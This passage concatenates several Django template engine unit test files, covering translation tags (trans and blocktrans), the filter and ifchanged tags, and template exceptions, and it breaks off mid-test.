        simple translation of a string delimited by "
        """
        output = self.engine.render_to_string('i18n02')
        self.assertEqual(output, 'xxxyyyxxx')

    @setup({'i18n03': '{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}'})
    def test_i18n03(self):
        """
        simple translation of a variable
        """
        output = self.engine.render_to_string('i18n03', {'anton': b'\xc3\x85'})
        self.assertEqual(output, 'Å')

    @setup({'i18n04': '{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}'})
    def test_i18n04(self):
        """
        simple translation of a variable and filter
        """
        output = self.engine.render_to_string('i18n04', {'anton': b'\xc3\x85'})
        self.assertEqual(output, 'å')

    @setup({'legacyi18n04': '{% load i18n %}'
                            '{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}'})
    def test_legacyi18n04(self):
        """
        simple translation of a variable and filter
        """
        output = self.engine.render_to_string('legacyi18n04', {'anton': b'\xc3\x85'})
        self.assertEqual(output, 'å')

    @setup({'i18n05': '{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}'})
    def test_i18n05(self):
        """
        simple translation of a string with interpolation
        """
        output = self.engine.render_to_string('i18n05', {'anton': 'yyy'})
        self.assertEqual(output, 'xxxyyyxxx')

    @setup({'i18n06': '{% load i18n %}{% trans "Page not found" %}'})
    def test_i18n06(self):
        """
        simple translation of a string to german
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n06')
        self.assertEqual(output, 'Seite nicht gefunden')

    @setup({'i18n07': '{% load i18n %}'
                      '{% blocktrans count counter=number %}singular{% plural %}'
                      '{{ counter }} plural{% endblocktrans %}'})
    def test_i18n07(self):
        """
        translation of singular form
        """
        output = self.engine.render_to_string('i18n07', {'number': 1})
        self.assertEqual(output, 'singular')

    @setup({'legacyi18n07': '{% load i18n %}'
                            '{% blocktrans count number as counter %}singular{% plural %}'
                            '{{ counter }} plural{% endblocktrans %}'})
    def test_legacyi18n07(self):
        """
        translation of singular form
        """
        output = self.engine.render_to_string('legacyi18n07', {'number': 1})
        self.assertEqual(output, 'singular')

    @setup({'i18n08': '{% load i18n %}'
                      '{% blocktrans count number as counter %}singular{% plural %}'
                      '{{ counter }} plural{% endblocktrans %}'})
    def test_i18n08(self):
        """
        translation of plural form
        """
        output = self.engine.render_to_string('i18n08', {'number': 2})
        self.assertEqual(output, '2 plural')

    @setup({'legacyi18n08': '{% load i18n %}'
                            '{% blocktrans count counter=number %}singular{% plural %}'
                            '{{ counter }} plural{% endblocktrans %}'})
    def test_legacyi18n08(self):
        """
        translation of plural form
        """
        output = self.engine.render_to_string('legacyi18n08', {'number': 2})
        self.assertEqual(output, '2 plural')

    @setup({'i18n09': '{% load i18n %}{% trans "Page not found" noop %}'})
    def test_i18n09(self):
        """
        simple non-translation (only marking) of a string to german
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n09')
        self.assertEqual(output, 'Page not found')

    @setup({'i18n10': '{{ bool|yesno:_("yes,no,maybe") }}'})
    def test_i18n10(self):
        """
        translation of a variable with a translated filter
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n10', {'bool': True})
        self.assertEqual(output, 'Ja')

    @setup({'i18n11': '{{ bool|yesno:"ja,nein" }}'})
    def test_i18n11(self):
        """
        translation of a variable with a non-translated filter
        """
        output = self.engine.render_to_string('i18n11', {'bool': True})
        self.assertEqual(output, 'ja')

    @setup({'i18n12': '{% load i18n %}'
                      '{% get_available_languages as langs %}{% for lang in langs %}'
                      '{% if lang.0 == "de" %}{{ lang.0 }}{% endif %}{% endfor %}'})
    def test_i18n12(self):
        """
        usage of the get_available_languages tag
        """
        output = self.engine.render_to_string('i18n12')
        self.assertEqual(output, 'de')

    @setup({'i18n13': '{{ _("Password") }}'})
    def test_i18n13(self):
        """
        translation of constant strings
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n13')
        self.assertEqual(output, 'Passwort')

    @setup({'i18n14': '{% cycle "foo" _("Password") _(\'Password\') as c %} {% cycle c %} {% cycle c %}'})
    def test_i18n14(self):
        """
        translation of constant strings
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n14')
        self.assertEqual(output, 'foo Passwort Passwort')

    @setup({'i18n15': '{{ absent|default:_("Password") }}'})
    def test_i18n15(self):
        """
        translation of constant strings
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n15', {'absent': ''})
        self.assertEqual(output, 'Passwort')

    @setup({'i18n16': '{{ _("<") }}'})
    def test_i18n16(self):
        """
        translation of constant strings
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n16')
        self.assertEqual(output, '<')

    @setup({'i18n17': '{% load i18n %}'
                      '{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}'})
    def test_i18n17(self):
        """
        Escaping inside blocktrans and trans works as if it was directly in the template.
        """
        output = self.engine.render_to_string('i18n17', {'anton': 'α & β'})
        self.assertEqual(output, 'α &amp; β')

    @setup({'i18n18': '{% load i18n %}'
                      '{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}'})
    def test_i18n18(self):
        output = self.engine.render_to_string('i18n18', {'anton': 'α & β'})
        self.assertEqual(output, 'α &amp; β')

    @setup({'i18n19': '{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}'})
    def test_i18n19(self):
        output = self.engine.render_to_string('i18n19', {'andrew': 'a & b'})
        self.assertEqual(output, 'a &amp; b')

    @setup({'i18n20': '{% load i18n %}{% trans andrew %}'})
    def test_i18n20(self):
        output = self.engine.render_to_string('i18n20', {'andrew': 'a & b'})
        self.assertEqual(output, 'a &amp; b')

    @setup({'i18n21': '{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}'})
    def test_i18n21(self):
        output = self.engine.render_to_string('i18n21', {'andrew': mark_safe('a & b')})
        self.assertEqual(output, 'a & b')

    @setup({'i18n22': '{% load i18n %}{% trans andrew %}'})
    def test_i18n22(self):
        output = self.engine.render_to_string('i18n22', {'andrew': mark_safe('a & b')})
        self.assertEqual(output, 'a & b')

    @setup({'legacyi18n17': '{% load i18n %}'
                            '{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}'})
    def test_legacyi18n17(self):
        output = self.engine.render_to_string('legacyi18n17', {'anton': 'α & β'})
        self.assertEqual(output, 'α &amp; β')

    @setup({'legacyi18n18': '{% load i18n %}'
                            '{% blocktrans with anton|force_escape as berta %}'
                            '{{ berta }}{% endblocktrans %}'})
    def test_legacyi18n18(self):
        output = self.engine.render_to_string('legacyi18n18', {'anton': 'α & β'})
        self.assertEqual(output, 'α &amp; β')

    @setup({'i18n23': '{% load i18n %}{% trans "Page not found"|capfirst|slice:"6:" %}'})
    def test_i18n23(self):
        """
        #5972 - Use filters with the {% trans %} tag
        """
        with translation.override('de'):
            output = self.engine.render_to_string('i18n23')
        self.assertEqual(output, 'nicht gefunden')

    @setup({'i18n24': '{% load i18n %}{% trans \'Page not found\'|upper %}'})
    def test_i18n24(self):
        with translation.override('de'):
            output = self.engine.render_to_string('i18n24')
        self.assertEqual(output, 'SEITE NICHT GEFUNDEN')

    @setup({'i18n25': '{% load i18n %}{% trans somevar|upper %}'})
    def test_i18n25(self):
        with translation.override('de'):
            output = self.engine.render_to_string('i18n25', {'somevar': 'Page not found'})
        self.assertEqual(output, 'SEITE NICHT GEFUNDEN')

    @setup({'i18n26': '{% load i18n %}'
                      '{% blocktrans with extra_field=myextra_field count counter=number %}'
                      'singular {{ extra_field }}{% plural %}plural{% endblocktrans %}'})
    def test_i18n26(self):
        """
        translation of plural form with extra field in singular form (#13568)
        """
        output = self.engine.render_to_string('i18n26', {'myextra_field': 'test', 'number': 1})
        self.assertEqual(output, 'singular test')

    @setup({'legacyi18n26': '{% load i18n %}'
                            '{% blocktrans with myextra_field as extra_field count number as counter %}'
                            'singular {{ extra_field }}{% plural %}plural{% endblocktrans %}'})
    def test_legacyi18n26(self):
        output = self.engine.render_to_string('legacyi18n26', {'myextra_field': 'test', 'number': 1})
        self.assertEqual(output, 'singular test')

    @setup({'i18n27': '{% load i18n %}{% blocktrans count counter=number %}'
                      '{{ counter }} result{% plural %}{{ counter }} results'
                      '{% endblocktrans %}'})
    def test_i18n27(self):
        """
        translation of singular form in russian (#14126)
        """
        with translation.override('ru'):
            output = self.engine.render_to_string('i18n27', {'number': 1})
        self.assertEqual(output, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442')

    @setup({'legacyi18n27': '{% load i18n %}'
                            '{% blocktrans count number as counter %}{{ counter }} result'
                            '{% plural %}{{ counter }} results{% endblocktrans %}'})
    def test_legacyi18n27(self):
        with translation.override('ru'):
            output = self.engine.render_to_string('legacyi18n27', {'number': 1})
        self.assertEqual(output, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442')

    @setup({'i18n28': '{% load i18n %}'
                      '{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}'})
    def test_i18n28(self):
        """
        simple translation of multiple variables
        """
        output = self.engine.render_to_string('i18n28', {'anton': 'α', 'berta': 'β'})
        self.assertEqual(output, 'α + β')

    @setup({'legacyi18n28': '{% load i18n %}'
                            '{% blocktrans with anton as a and berta as b %}'
                            '{{ a }} + {{ b }}{% endblocktrans %}'})
    def test_legacyi18n28(self):
        output = self.engine.render_to_string('legacyi18n28', {'anton': 'α', 'berta': 'β'})
        self.assertEqual(output, 'α + β')

    # retrieving language information
    @setup({'i18n28_2': '{% load i18n %}'
                        '{% get_language_info for "de" as l %}'
                        '{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}'})
    def test_i18n28_2(self):
        output = self.engine.render_to_string('i18n28_2')
        self.assertEqual(output, 'de: German/Deutsch bidi=False')

    @setup({'i18n29': '{% load i18n %}'
                      '{% get_language_info for LANGUAGE_CODE as l %}'
                      '{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}'})
    def test_i18n29(self):
        output = self.engine.render_to_string('i18n29', {'LANGUAGE_CODE': 'fi'})
        self.assertEqual(output, 'fi: Finnish/suomi bidi=False')

    @setup({'i18n30': '{% load i18n %}'
                      '{% get_language_info_list for langcodes as langs %}'
                      '{% for l in langs %}{{ l.code }}: {{ l.name }}/'
                      '{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}'})
    def test_i18n30(self):
        output = self.engine.render_to_string('i18n30', {'langcodes': ['it', 'no']})
        self.assertEqual(output, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; ')

    @setup({'i18n31': '{% load i18n %}'
                      '{% get_language_info_list for langcodes as langs %}'
                      '{% for l in langs %}{{ l.code }}: {{ l.name }}/'
                      '{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}'})
    def test_i18n31(self):
        output = self.engine.render_to_string('i18n31', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))})
        self.assertEqual(
            output,
            'sl: Slovenian/Sloven\u0161\u010dina bidi=False; '
            'fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '
        )

    @setup({'i18n32': '{% load i18n %}{{ "hu"|language_name }} '
                      '{{ "hu"|language_name_local }} {{ "hu"|language_bidi }} '
                      '{{ "hu"|language_name_translated }}'})
    def test_i18n32(self):
        output = self.engine.render_to_string('i18n32')
        self.assertEqual(output, 'Hungarian Magyar False Hungarian')

        with translation.override('cs'):
            output = self.engine.render_to_string('i18n32')
            self.assertEqual(output, 'Hungarian Magyar False maďarsky')

    @setup({'i18n33': '{% load i18n %}'
                      '{{ langcode|language_name }} {{ langcode|language_name_local }} '
                      '{{ langcode|language_bidi }} {{ langcode|language_name_translated }}'})
    def test_i18n33(self):
        output = self.engine.render_to_string('i18n33', {'langcode': 'nl'})
        self.assertEqual(output, 'Dutch Nederlands False Dutch')

        with translation.override('cs'):
            output = self.engine.render_to_string('i18n33', {'langcode': 'nl'})
            self.assertEqual(output, 'Dutch Nederlands False nizozemsky')

    # blocktrans handling of variables which are not in the context.
    # this should work as if blocktrans was not there (#19915)
    @setup({'i18n34': '{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}'})
    def test_i18n34(self):
        output = self.engine.render_to_string('i18n34')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'i18n34_2': '{% load i18n %}{% blocktrans with a=\'α\' %}{{ missing }}{% endblocktrans %}'})
    def test_i18n34_2(self):
        output = self.engine.render_to_string('i18n34_2')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'i18n34_3': '{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}'})
    def test_i18n34_3(self):
        output = self.engine.render_to_string('i18n34_3', {'anton': '\xce\xb1'})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    # trans tag with as var
    @setup({'i18n35': '{% load i18n %}{% trans "Page not found" as page_not_found %}{{ page_not_found }}'})
    def test_i18n35(self):
        with translation.override('de'):
            output = self.engine.render_to_string('i18n35')
        self.assertEqual(output, 'Seite nicht gefunden')

    @setup({'i18n36': '{% load i18n %}'
                      '{% trans "Page not found" noop as page_not_found %}{{ page_not_found }}'})
    def test_i18n36(self):
        with translation.override('de'):
            output = self.engine.render_to_string('i18n36')
        self.assertEqual(output, 'Page not found')

    @setup({'i18n37': '{% load i18n %}'
                      '{% trans "Page not found" as page_not_found %}'
                      '{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}'})
    def test_i18n37(self):
        with translation.override('de'):
            output = self.engine.render_to_string('i18n37')
        self.assertEqual(output, 'Error: Seite nicht gefunden')

    # Test whitespace in filter arguments
    @setup({'i18n38': '{% load i18n custom %}'
                      '{% get_language_info for "de"|noop:"x y" as l %}'
                      '{{ l.code }}: {{ l.name }}/{{ l.name_local }}/'
                      '{{ l.name_translated }} bidi={{ l.bidi }}'})
    def test_i18n38(self):
        with translation.override('cs'):
            output = self.engine.render_to_string('i18n38')
        self.assertEqual(output, 'de: German/Deutsch/německy bidi=False')

    @setup({'i18n38_2': '{% load i18n custom %}'
                        '{% get_language_info_list for langcodes|noop:"x y" as langs %}'
                        '{% for l in langs %}{{ l.code }}: {{ l.name }}/'
                        '{{ l.name_local }}/{{ l.name_translated }} '
                        'bidi={{ l.bidi }}; {% endfor %}'})
    def test_i18n38_2(self):
        with translation.override('cs'):
            output = self.engine.render_to_string('i18n38_2', {'langcodes': ['it', 'fr']})
        self.assertEqual(
            output,
            'it: Italian/italiano/italsky bidi=False; '
            'fr: French/français/francouzsky bidi=False; '
        )

    # blocktrans tag with asvar
    @setup({'i18n39': '{% load i18n %}'
                      '{% blocktrans asvar page_not_found %}Page not found{% endblocktrans %}'
                      '>{{ page_not_found }}<'})
    def test_i18n39(self):
        with translation.override('de'):
            output = self.engine.render_to_string('i18n39')
        self.assertEqual(output, '>Seite nicht gefunden<')

    @setup({'i18n40': '{% load i18n %}'
                      '{% trans "Page not found" as pg_404 %}'
                      '{% blocktrans with page_not_found=pg_404 asvar output %}'
                      'Error: {{ page_not_found }}'
                      '{% endblocktrans %}'})
    def test_i18n40(self):
        output = self.engine.render_to_string('i18n40')
        self.assertEqual(output, '')

    @setup({'i18n41': '{% load i18n %}'
                      '{% trans "Page not found" as pg_404 %}'
                      '{% blocktrans with page_not_found=pg_404 asvar output %}'
                      'Error: {{ page_not_found }}'
                      '{% endblocktrans %}'
                      '>{{ output }}<'})
    def test_i18n41(self):
        with translation.override('de'):
            output = self.engine.render_to_string('i18n41')
        self.assertEqual(output, '>Error: Seite nicht gefunden<')

    @setup({'template': '{% load i18n %}{% trans %}A}'})
    def test_syntax_error_no_arguments(self):
        msg = "'trans' takes at least one argument"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% trans "Yes" badoption %}'})
    def test_syntax_error_bad_option(self):
        msg = "Unknown argument for 'trans' tag: 'badoption'"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% trans "Yes" as %}'})
    def test_syntax_error_missing_assignment(self):
        msg = "No argument provided to the 'trans' tag for the as option."
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% blocktrans asvar %}Yes{% endblocktrans %}'})
    def test_blocktrans_syntax_error_missing_assignment(self):
        msg = "No argument provided to the 'blocktrans' tag for the asvar option."
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% trans "Yes" as var context %}'})
    def test_syntax_error_missing_context(self):
        msg = "No argument provided to the 'trans' tag for the context option."
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% trans "Yes" context as var %}'})
    def test_syntax_error_context_as(self):
        msg = "Invalid argument 'as' provided to the 'trans' tag for the context option"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% trans "Yes" context noop %}'})
    def test_syntax_error_context_noop(self):
        msg = "Invalid argument 'noop' provided to the 'trans' tag for the context option"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% trans "Yes" noop noop %}'})
    def test_syntax_error_duplicate_option(self):
        msg = "The 'noop' option was specified more than once."
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% load i18n %}{% trans "%s" %}'})
    def test_trans_tag_using_a_string_that_looks_like_str_fmt(self):
        output = self.engine.render_to_string('template')
        self.assertEqual(output, '%s')

    @setup({'template': '{% load i18n %}{% blocktrans %}%s{% endblocktrans %}'})
    def test_blocktrans_tag_using_a_string_that_looks_like_str_fmt(self):
        output = self.engine.render_to_string('template')
        self.assertEqual(output, '%s')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class FilterTagTests(SimpleTestCase):

    @setup({'filter01': '{% filter upper %}{% endfilter %}'})
    def test_filter01(self):
        output = self.engine.render_to_string('filter01')
        self.assertEqual(output, '')

    @setup({'filter02': '{% filter upper %}django{% endfilter %}'})
    def test_filter02(self):
        output = self.engine.render_to_string('filter02')
        self.assertEqual(output, 'DJANGO')

    @setup({'filter03': '{% filter upper|lower %}django{% endfilter %}'})
    def test_filter03(self):
        output = self.engine.render_to_string('filter03')
        self.assertEqual(output, 'django')

    @setup({'filter04': '{% filter cut:remove %}djangospam{% endfilter %}'})
    def test_filter04(self):
        output = self.engine.render_to_string('filter04', {'remove': 'spam'})
        self.assertEqual(output, 'django')

    @setup({'filter05': '{% filter safe %}fail{% endfilter %}'})
    def test_filter05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('filter05')

    @setup({'filter05bis': '{% filter upper|safe %}fail{% endfilter %}'})
    def test_filter05bis(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('filter05bis')

    @setup({'filter06': '{% filter escape %}fail{% endfilter %}'})
    def test_filter06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('filter06')

    @setup({'filter06bis': '{% filter upper|escape %}fail{% endfilter %}'})
    def test_filter06bis(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('filter06bis')






from django.template import Context, Engine
from django.test import SimpleTestCase

from ..utils import setup


class IfChangedTagTests(SimpleTestCase):
    libraries = {'custom': 'template_tests.templatetags.custom'}

    @setup({'ifchanged01': '{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}'})
    def test_ifchanged01(self):
        output = self.engine.render_to_string('ifchanged01', {'num': (1, 2, 3)})
        self.assertEqual(output, '123')

    @setup({'ifchanged02': '{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}'})
    def test_ifchanged02(self):
        output = self.engine.render_to_string('ifchanged02', {'num': (1, 1, 3)})
        self.assertEqual(output, '13')

    @setup({'ifchanged03': '{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}'})
    def test_ifchanged03(self):
        output = self.engine.render_to_string('ifchanged03', {'num': (1, 1, 1)})
        self.assertEqual(output, '1')

    @setup({'ifchanged04': '{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}'
                           '{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}'
                           '{% endfor %}{% endfor %}'})
    def test_ifchanged04(self):
        output = self.engine.render_to_string('ifchanged04', {'num': (1, 2, 3), 'numx': (2, 2, 2)})
        self.assertEqual(output, '122232')

    @setup({'ifchanged05': '{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}'
                           '{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}'
                           '{% endfor %}{% endfor %}'})
    def test_ifchanged05(self):
        output = self.engine.render_to_string('ifchanged05', {'num': (1, 1, 1), 'numx': (1, 2, 3)})
        self.assertEqual(output, '1123123123')

    @setup({'ifchanged06': '{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}'
                           '{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}'
                           '{% endfor %}{% endfor %}'})
    def test_ifchanged06(self):
        output = self.engine.render_to_string('ifchanged06', {'num': (1, 1, 1), 'numx': (2, 2, 2)})
        self.assertEqual(output, '1222')

    @setup({'ifchanged07': '{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}'
                           '{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}'
                           '{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}'
                           '{% endfor %}{% endfor %}{% endfor %}'})
    def test_ifchanged07(self):
        output = self.engine.render_to_string('ifchanged07', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)})
        self.assertEqual(output, '1233323332333')

    @setup({'ifchanged08': '{% for data in datalist %}{% for c,d in data %}'
                           '{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}'
                           '{% endif %}{% endfor %}{% endfor %}'})
    def test_ifchanged08(self):
        output = self.engine.render_to_string('ifchanged08', {'datalist': [
            [(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')],
            [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]
        ]})
        self.assertEqual(output, 'accd')

    @setup({'ifchanged-param01': '{% for n in num %}{% ifchanged n %}..{% endifchanged %}'
                                 '{{ n }}{% endfor %}'})
    def test_ifchanged_param01(self):
        """
        Test one parameter given to ifchanged.
        """
        output = self.engine.render_to_string('ifchanged-param01', {'num': (1, 2, 3)})
        self.assertEqual(output, '..1..2..3')

    @setup({'ifchanged-param02': '{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}'
                                 '{{ x }}{% endfor %}{% endfor %}'})
    def test_ifchanged_param02(self):
        output = self.engine.render_to_string('ifchanged-param02', {'num': (1, 2, 3), 'numx': (5, 6, 7)})
        self.assertEqual(output, '..567..567..567')

    @setup({'ifchanged-param03': '{% for n in num %}{{ n }}{% for x in numx %}'
                                 '{% ifchanged x n %}{{ x }}{% endifchanged %}'
                                 '{% endfor %}{% endfor %}'})
    def test_ifchanged_param03(self):
        """
        Test multiple parameters to ifchanged.
        """
        output = self.engine.render_to_string('ifchanged-param03', {'num': (1, 1, 2), 'numx': (5, 6, 6)})
        self.assertEqual(output, '156156256')

    @setup({'ifchanged-param04': '{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}'
                                 '{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}'
                                 '{% endfor %}{% endfor %}'})
    def test_ifchanged_param04(self):
        """
        Test a date+hour like construct, where the hour of the last day is
        the same but the date had changed, so print the hour anyway.
        """
        output = self.engine.render_to_string(
            'ifchanged-param04',
            {'days': [{'hours': [1, 2, 3], 'day': 1}, {'hours': [3], 'day': 2}]},
        )
        self.assertEqual(output, '112323')

    @setup({'ifchanged-param05': '{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}'
                                 '{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}'
                                 '{% endfor %}{% endfor %}'})
    def test_ifchanged_param05(self):
        """
        Logically the same as above, just written with explicit ifchanged
        for the day.
        """
        output = self.engine.render_to_string(
            'ifchanged-param05',
            {'days': [{'hours': [1, 2, 3], 'day': 1}, {'hours': [3], 'day': 2}]},
        )
        self.assertEqual(output, '112323')

    @setup({'ifchanged-else01': '{% for id in ids %}{{ id }}'
                                '{% ifchanged id %}-first{% else %}-other{% endifchanged %}'
                                ',{% endfor %}'})
    def test_ifchanged_else01(self):
        """
        Test the else clause of ifchanged.
        """
        output = self.engine.render_to_string('ifchanged-else01', {'ids': [1, 1, 2, 2, 2, 3]})
        self.assertEqual(output, '1-first,1-other,2-first,2-other,2-other,3-first,')

    @setup({'ifchanged-else02': '{% for id in ids %}{{ id }}-'
                                '{% ifchanged id %}{% cycle "red" "blue" %}{% else %}grey{% endifchanged %}'
                                ',{% endfor %}'})
    def test_ifchanged_else02(self):
        output = self.engine.render_to_string('ifchanged-else02', {'ids': [1, 1, 2, 2, 2, 3]})
        self.assertEqual(output, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,')

    @setup({'ifchanged-else03': '{% for id in ids %}{{ id }}'
                                '{% ifchanged id %}-{% cycle "red" "blue" %}{% else %}{% endifchanged %}'
                                ',{% endfor %}'})
    def test_ifchanged_else03(self):
        output = self.engine.render_to_string('ifchanged-else03', {'ids': [1, 1, 2, 2, 2, 3]})
        self.assertEqual(output, '1-red,1,2-blue,2,2,3-red,')

    @setup({'ifchanged-else04': '{% for id in ids %}'
                                '{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}'
                                '{{ forloop.counter }}{% endfor %}'})
    def test_ifchanged_else04(self):
        output = self.engine.render_to_string('ifchanged-else04', {'ids': [1, 1, 2, 2, 2, 3, 4]})
        self.assertEqual(output, '***1*1...2***2*3...4...5***3*6***4*7')

    @setup({'ifchanged-filter-ws': '{% load custom %}{% for n in num %}'
                                   '{% ifchanged n|noop:"x y" %}..{% endifchanged %}{{ n }}'
                                   '{% endfor %}'})
    def test_ifchanged_filter_ws(self):
        """
        Test whitespace in filter arguments
        """
        output = self.engine.render_to_string('ifchanged-filter-ws', {'num': (1, 2, 3)})
        self.assertEqual(output, '..1..2..3')


class IfChangedTests(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine()
        super(IfChangedTests, cls).setUpClass()

    def test_ifchanged_concurrency(self):
        """
        #15849 -- ifchanged should be thread-safe.
        """
        template = self.engine.from_string(
            '[0{% for x in foo %},{% with var=get_value %}{% ifchanged %}'
            '{{ var }}{% endifchanged %}{% endwith %}{% endfor %}]'
        )

        # Using generator to mimic concurrency.
        # The generator is not passed to the 'for' loop, because it does a list(values)
        # instead, call gen.next() in the template to control the generator.
        def gen():
            yield 1
            yield 2
            # Simulate that another thread is now rendering.
            # When the IfChangeNode stores state at 'self' it stays at '3' and skip the last yielded value below.
            iter2 = iter([1, 2, 3])
            output2 = template.render(Context({'foo': range(3), 'get_value': lambda: next(iter2)}))
            self.assertEqual(
                output2, '[0,1,2,3]', 'Expected [0,1,2,3] in second parallel template, got {}'.format(output2)
            )
            yield 3

        gen1 = gen()
        output1 = template.render(Context({'foo': range(3), 'get_value': lambda: next(gen1)}))
        self.assertEqual(output1, '[0,1,2,3]', 'Expected [0,1,2,3] in first template, got {}'.format(output1))

    def test_ifchanged_render_once(self):
        """
        #19890. The content of ifchanged template tag was rendered twice.
        """
        template = self.engine.from_string('{% ifchanged %}{% cycle "1st time" "2nd time" %}{% endifchanged %}')
        output = template.render(Context({}))
        self.assertEqual(output, '1st time')

    def test_include(self):
        """
        #23516 -- This works as a regression test only if the cached loader
        isn't used. Hence we don't use the @setup decorator.
        """
        engine = Engine(loaders=[
            ('django.template.loaders.locmem.Loader', {
                'template': '{% for x in vars %}{% include "include" %}{% endfor %}',
                'include': '{% ifchanged %}{{ x }}{% endifchanged %}',
            }),
        ])
        output = engine.render_to_string('template', dict(vars=[1, 1, 2, 2, 3, 3]))
        self.assertEqual(output, "123")






from django.template import TemplateDoesNotExist, TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup
from .test_extends import inheritance_templates


class ExceptionsTests(SimpleTestCase):

    @setup({'exception01': "{% extends 'nonexistent' %}"})
    def test_exception01(self):
        """
        Raise exception for invalid template name
        """
        with self.assertRaises(TemplateDoesNotExist):
            self.engine.render_to_string('exception01')

    @setup({'exception02': '{% extends nonexistent %}'})
    def test_exception02(self):
        """
        Raise exception for invalid variable template name
        """
        if self.engine.string_if_invalid:
            with self.assertRaises(TemplateDoesNotExist):
                self.engine.render_to_string('exception02')
        else:
            with self.assertRaises(TemplateSyntaxError):
                self.engine.render_to_string('exception02')

    @setup(
        {'exception03': "{% extends 'inheritance01' %}"
                        "{% block first %}2{% endblock %}{% extends 'inheritance16' %}"},
        inheritance_templates,
    )
    def test_exception03(self):
        """
        Raise exception for extra {% extends %} tags
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('exception03')

    @setup(
        {'exception04': "{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"},
        inheritance_templates,
    )
    def test_exception04(self):
        """
        Raise exception for custom tags used in child with {% load %} tag in parent, not in child
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('exception04')

    @setup({'exception05': '{% block first %}{{ block.super }}{% endblock %}'})
    def test_exception05(self):
        """
        Raise exception for block.super used in base template
        """
        with self.assertRaises(TemplateSyntaxError):
